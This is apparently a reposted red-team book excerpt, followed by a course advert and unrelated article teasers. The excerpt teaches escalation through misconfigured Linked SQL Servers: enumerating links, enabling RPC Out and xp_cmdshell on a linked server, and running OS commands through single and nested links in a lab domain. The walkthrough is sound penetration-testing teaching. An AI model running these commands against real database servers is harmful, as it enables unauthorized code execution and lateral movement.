利用Linked SQL Server提權

點擊星標,即時接收最新推文

953f40018c6bcc073c11838f42b98873.png

本文選自《內網安全攻防:紅隊之路》

掃描二維碼五折購書

??

利用Linked SQL Server提權

Linked SQL server是一個SQL Server數據庫中的對象,它可以連接到另一個SQL Server或非SQL Server數據源(如Oracle,MySQL,PostgreSQL等),并且可以使用該數據源中的表和視圖。通過使用Linked server,用戶可以在單個查詢中訪問多個數據源中的數據,而無需將數據導入到本地數據庫中。

Linked server通常用于數據集成和數據倉庫環境中的查詢,以及需要從多個數據源中檢索數據的應用程序。

當創建從一個SQL服務器到另一個服務器的鏈接時,管理員必須指定在連接過程中使用的執行上下文。雖然可以基于當前登錄的安全上下文創建一個動態的上下文,但是一些管理員可能為了配置方便而使用一個特定的SQL賬戶登錄。如果管理員使用一個特定的SQL登錄,并且該登錄具有sysadmin角色權限,我們將能在鏈接的SQL服務器上獲得sysadmin權限。

在滲透測試過程,如果遇到了集成到活動目錄的MS SQL數據庫,我們需要測試目標環境是否存在這種誤配置。

我們首先枚舉當前服務器鏈接的服務器。可以使用sp_linkedserver存儲過程查看。在下面的例子中,我們連接到APPSRV01服務器,以普通域用戶dev\dave認證,使用ESC工具進行查詢:

set instance appsrv01.dev.ms08067.cn
EXEC sp_linkedservers
go

c7a8d497a89a3877185ccbf01b221bc2.png

sp_linkedservers列舉連接的服務器

ESC客戶端list links命令也可以用查詢:

list?links

1f33684508ff762f0dcab60a05533d37.png

ESC列舉鏈接的服務器

從上面的輸出可以看到,當前服務器APPSRV01\SQLEXPRESS存在一個遠程鏈接的服務器DEV-DC01,遠程登錄名為sa。下一步我們可以嘗試在鏈接的服務器上執行查詢,可以使用OPENQUERY關鍵字實現。首先我們查詢鏈接的服務器的數據庫實例版本:

select version from openquery("dev-DC01", 'select @@version as version')

ecf24dee16af06e97ec8866c9edcef94.png

查看dev-DC01數據庫版本

輸出證明我們可以在鏈接的服務器上執行查詢。接下來,我們需要確認是在哪個安全上下文執行:

select SecurityContext from openquery([dev-DC01], 'select SYSTEM_USER as SecurityContext')

ba0801b3aa5bb5ef3336e770252cc673.png

查詢安全上下文

從輸出可以看到雖然我們本地登錄是域用戶dev\dave,但鏈接的安全上下文是sa。有了sa權限,我們可以使用前面介紹過的方法在鏈接的服務器實現代碼執行,這里使用xp_cmdshell。

需要注意的是xp_cmdshell需要改變advanced options,我們必須使用RECONFIGURE語句更新運行時配置。當這個語句在遠程服務器執行時,微軟使用Remote Procedure Call(RCP)實現。因此創建的鏈接必須配置RPC Out設置,默認沒有啟用,如果我們當前用戶有sysadmin權限,可以使用sp_serveroption存儲過程啟用。這里為了演示在鏈接的服務器執行命令,我們先在APPSRV01服務器手動啟用。在appsrv01上執行:

USE master; 
EXEC sp_serveroption 'dev-DC01', 'rpc out', 'true'; 
RECONFIGURE

8cac07bd25e2e545cea1b53fd92c0fd8.png

啟用RPC Out

然后我們嘗試在鏈接的服務器dev-DC01上執行命令。OPENQUERY存儲過程無法在鏈接服務器執行,所以這里我們使用AT關鍵字指定要執行查詢的鏈接服務器。注意要對內部的單引號通過雙寫進行轉義:

EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT [dev-DC01]
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [dev-DC01]
EXEC ('xp_cmdshell ipconfig') AT [dev-DC01]

fd9d4684c485e4665e9a11a87374152a.png

在鏈接服務器執行命令

可以看到我們成功在鏈接的遠程服務器dev-DC01上獲得代碼執行。

雖然微軟的文檔說明,在鏈接的SQL服務器上不支持用OPENQUERY關鍵字執行存儲過程,但實際上可以利用堆疊查詢的方式執行:

SELECT * FROM OPENQUERY("dev-DC01", 'select @@Version; exec xp_cmdshell ''ipconfig > c:\Tools\ipconfig.txt''')
go

7976b85973c03a556ea19f12d99895ac.png

利用堆疊查詢執行命令

雖然命令結果沒有回顯,但實際命令成功執行。

上面我們發現appsrv01上的數據庫配置了到dev-DC01上數據庫的鏈接。我們也可以在dev-DC01上執行sp_linkedservers存儲過程,查看是否存在從dev-DC01到其他數據庫服務器的鏈接。需要注意的是SQL服務器的鏈接默認不是雙向的,所以依賴于管理員配置。我們可以使用如下語句查詢:

set instance appsrv01.dev.ms08067.cn
EXEC ('sp_linkedservers') AT [dev-DC01] 
go

22184c6d44df5d4b05c4a49c6a7a73ed.png

dev-DC01數據庫鏈接枚舉

從輸出可以看到也存在從dev-DC01到APPSRV01的數據庫鏈接。我們之前已經通過鏈接在dev-DC01上獲得了sa權限,可以再次通過鏈接返回到APPSRV01。使用下面命令查看在APPSRV01上的登錄上下文:

select mylogin from openquery("dev-dc01", 'select mylogin from openquery("appsrv01", ''select SYSTEM_USER as mylogin'')')

a070cafb44b4c7ceb3b07c011d1c99c4.png

APPSRV01權限查詢

從輸出可以看到我們在appsrv01上也獲得了sa權限,因為是sysadmin角色,我們可以通過相同的方法實現代碼執行。同樣也需要在dev-DC01上配置RPC Out:

49c3b47eeec4b5f5a10ba0b139e31cb6.png

dev-DC01啟用RPC Out

然后啟用xp_cmdshell并執行命令,需要注意單引號的轉義:

set instance APPSRV01.dev.ms08067.cn
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [appsrv01]') AT [dev-dc01]
EXEC ('EXEC (''xp_cmdshell  ''''ipconfig&hostname'''''') AT [appsrv01]') AT [dev-dc01]
go

2d46f6a998deefcce06ad31b59182fb5.png

通過嵌套鏈接執行命令

上面例子可以看到,我們先從APPSRV01通過鏈接的方式在dev-DC01上執行命令,然后又通過鏈接方式,從dev-DC01跳回到APPSRV01并在上面成功執行命令。我們可以枚舉嵌套鏈接的數據庫,并執行查詢。理論上,可以多次跟隨鏈接并獲得代碼執行。

—? 實驗室旗下直播培訓課程? —

300a327be070b9632a3eb777c7bca8ec.png

8c502dda49eb2e6cb4621f0c1c5df5e7.jpeg

a5981d6b887be1c87457c84502b0c7f2.jpeg77ec98e8cc0bd9013eb07685b1e0ffdd.png

6dc59f7d2722905beda04db41d8be20b.png

14c37c467ecc1a8475dd60cd8fd4f8a4.jpeg

00c1f4e6fb935974dbf90a3a5c318e9d.jpeg

f5680fba7f02bf7d586a0b522b7b4345.jpeg

5126d4f1d94209992cca24563dfca9be.png

和20000+位同學加入MS08067一起學習

4acf647a25bb1204666eb09e8f33ed40.gif

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:
http://www.pswp.cn/web/37341.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/37341.shtml
英文地址,請注明出處:http://en.pswp.cn/web/37341.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

初學者輕松搞定19個經典的Python程序以及代碼演示

Python的經典程序展示了Python語言基本特性和功能的簡單示例,這些程序在學習和理解Python編程語言的過程中起著至關重要的作用. 一些常見的經典Python程序及其在學習Python時的功能: 1.Hello, World! print("Hello, World!")解釋:這是Python的基本輸出…

primeflex overflow樣式類相關的用法和案例

文檔地址&#xff1a;https://primeflex.org/overflow 案例1 <script setup> import axios from "axios"; import {ref} from "vue";const message ref("frontend variable") axios.get(http://127.0.0.1:8001/).then(function (respon…

【Flink】Flink SQL

一、Flink 架構 Flink 架構 | Apache Flink 二、設置TaskManager、Slot和Parallelism 在Apache Flink中&#xff0c;設置TaskManager、Slot和Parallelism是配置Flink集群性能和資源利用的關鍵步驟。以下是關于如何設置這些參數的詳細指南&#xff1a; 1. TaskManager 設置 …

【漏洞復現】致遠互聯FE協作辦公平臺——SQL注入

聲明&#xff1a;本文檔或演示材料僅供教育和教學目的使用&#xff0c;任何個人或組織使用本文檔中的信息進行非法活動&#xff0c;均與本文檔的作者或發布者無關。 文章目錄 漏洞描述漏洞復現測試工具 漏洞描述 致遠互聯FE協作辦公平臺是一個專注于協同管理軟件領域的數智化運…

關于內存和外存文件不同字符集下占用空間大小問題

關于內存和外存不同字符集下文件占用空間大小問題 存儲&#xff08;外存&#xff09;的文件中的字符&#xff1a; ASCII&#xff1a;每個字符占用1個字節&#xff0c;用來存儲英文字符和常用標點符號。ISO-8859-1&#xff1a;每個字符占用1個字節&#xff0c;向下兼容ASCII。G…

DS18B20單總線數字溫度傳感器國產替代MY18E20 MY1820 MY18B20Z MY18B20L(一)

前言 DS18B20是全球第一個單總線數字溫度傳感器&#xff0c;推出時間已經超過30年&#xff0c;最早由美國達拉斯半導體公司推出&#xff0c;2001年1月&#xff0c;美信以25億美元收購達拉斯半導體&#xff08;Dallas Semiconductor&#xff09;&#xff0c;而美信在2021年8月被…

DM達夢數據庫存儲過程

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;歡迎各位來到我的博客&#xff0c;很高興能夠在這里和您見面&#xff01;希望您在這里不僅可以有所收獲&#xff0c;同時也能感受到一份輕松歡樂的氛圍&#xff0c;祝你生活愉快&#xff01; &#x1f49d;&#x1f49…

RDMA通信2:RDMA基本元素和組成 通信過程元素關系解析 視頻教程

哈哈哈&#xff0c;今天我們把下面這張圖理解了&#xff0c;我們的任務就完成了&#xff01; 視頻教程在這&#xff1a;1.2 RDMA基本元素和組成 通信過程元素關系解析_嗶哩嗶哩_bilibili 一、WQ和WQE 工作隊列元素(work queue element,WQE)&#xff1a;是軟件下發給硬件的任務…

Apache Ranger 2.4.0 集成Hive 3.x(Kerbos)

一、解壓tar包 tar zxvf ranger-2.4.0-hive-plugin.tar.gz 二、修改install.propertis POLICY_MGR_URLhttp://localhost:6080REPOSITORY_NAMEhive_repoCOMPONENT_INSTALL_DIR_NAME/BigData/run/hiveCUSTOM_USERhadoop 三、進行enable [roottv3-hadoop-01 ranger-2.4.0-hive…

什么是TOGAF架構框架的ADM方法?

ADM是架構開發方法&#xff08; Architecture Development Method&#xff09;&#xff0c;為開發企業架構所要執行的各個步驟以及它們質檢的關系進行詳細的定義&#xff0c;它是TOGAF規范中最為核心的內容。 ADM的具體步驟&#xff1a; 預備階段&#xff08;Preliminary Phas…

求職刷題力扣 DAY38動態規劃 part04

1. 1049. 最后一塊石頭的重量 II 有一堆石頭&#xff0c;用整數數組 stones 表示。其中 stones[i] 表示第 i 塊石頭的重量。 每一回合&#xff0c;從中選出任意兩塊石頭&#xff0c;然后將它們一起粉碎。假設石頭的重量分別為 x 和 y&#xff0c;且 x < y。那么粉碎的可能…

STM32第十三課:DMA多通道采集光照煙霧

文章目錄 需求一、DMA&#xff08;直接存儲器存取&#xff09;二、實現流程1.時鐘使能2.設置外設寄存器地址3.設置存儲器地址4.設置要傳輸的數據量5.設置通道優先級6.設置傳輸方向7.使通道和ADC轉換 三、數據處理四、需求實現總結 需求 通過DMA實現光照強度和煙霧濃度的多通道…

【SkiaSharp繪圖13】SKCanvas方法詳解(二)填充顏色、封裝對象、高性能繪制、點(集)(多段)線、圓角矩形、Surface、沿路徑繪制文字

文章目錄 SKCanvas方法DrawColor 填充顏色DrawDrawable 繪制封裝對象DrawImage 高性能繪制圖像SKBitmap與SKImage對比DrawPicture 繪制圖像SKPicture DrawPoint / DrawPoints 繪制點DrawRoundRect/DrawRoundRectDifference繪制圓角矩形DrawSurface 繪制SurfaceDrawTextOnPath沿…

力扣2055.蠟燭之間的盤子

力扣2055.蠟燭之間的盤子 預處理每個元素左右最近的蠟燭下標 同時求前綴和遍歷每個詢問找到左右端點對應的內部的最近蠟燭(最大區間) class Solution {public:vector<int> platesBetweenCandles(string s, vector<vector<int>>& queries) {vector<…

List接口, ArrayList Vector LinkedList

Collection接口的子接口 子類Vector&#xff0c;ArrayList&#xff0c;LinkedList 1.元素的添加順序和取出順序一致&#xff0c;且可重復 2.每個元素都有其對應的順序索引 方法 在index 1 的位置插入一個對象&#xff0c;list.add(1,list2)獲取指定index位置的元素&#…

sheng的學習筆記-AI-聚類(Clustering)

ai目錄 sheng的學習筆記-AI目錄-CSDN博客 基礎知識 什么是聚類 在“無監督學習”(unsupervised learning)中&#xff0c;訓練樣本的標記信息是未知的&#xff0c;目標是通過對無標記訓練樣本的學習來揭示數據的內在性質及規律&#xff0c;為進一步的數據分析提供基礎。此類學…

Android跨進程通信,binder傳輸數據過大導致客戶端APP,Crash,異常捕獲,監聽異常的數值臨界值,提前Hook攔截。

文章目錄 Android跨進程通信&#xff0c;binder傳輸數據過大導致Crash&#xff0c;異常捕獲&#xff0c;監聽異常的數值臨界值&#xff0c;提前Hook攔截。1.binder在做跨進程傳輸時&#xff0c;最大可以攜帶多少數據1.1有時候這個1m的崩潰系統捕獲不到異常&#xff0c; 2.監測異…

志愿填報指南:為什么我強烈建議你報考計算機專業

首先恭喜2024屆高考的同學們&#xff0c;你們已經通過了高考的考驗&#xff0c;即將進入人生的新階段——大學。 現在正是高考完填報志愿的時刻&#xff0c;Left聽到身邊朋友提到報考志愿的諸多問題&#xff1a; 志愿填報怎么填&#xff1f;我要報考什么專業&#xff1f;這個…

[Cloud Networking] OSPF

OSPF 開放式最短路徑優先&#xff08;Open Shortest Path First&#xff09;是一種動態路由協議&#xff0c;它屬于鏈路狀態路由協議&#xff0c;具有路由變化收斂速度快、無路由環路、支持變長子網掩碼和匯總、層次區域劃分等優點。 1 OSPF Area 為了適應大型網絡&#xff0…

可編程定時計數器8253/8254 - 8253入門

時鐘-給設備打拍子 概述 在計算機系統中&#xff0c;為了使所有設備之間的通信井然有序&#xff0c;各通信設備間必須有統一的節奏&#xff0c;不能各干各的&#xff0c;這個節奏就被稱為定時或時鐘 時鐘并不是計算機處理速度的衡量&#xff0c;而是一種使設備間相互配合而避…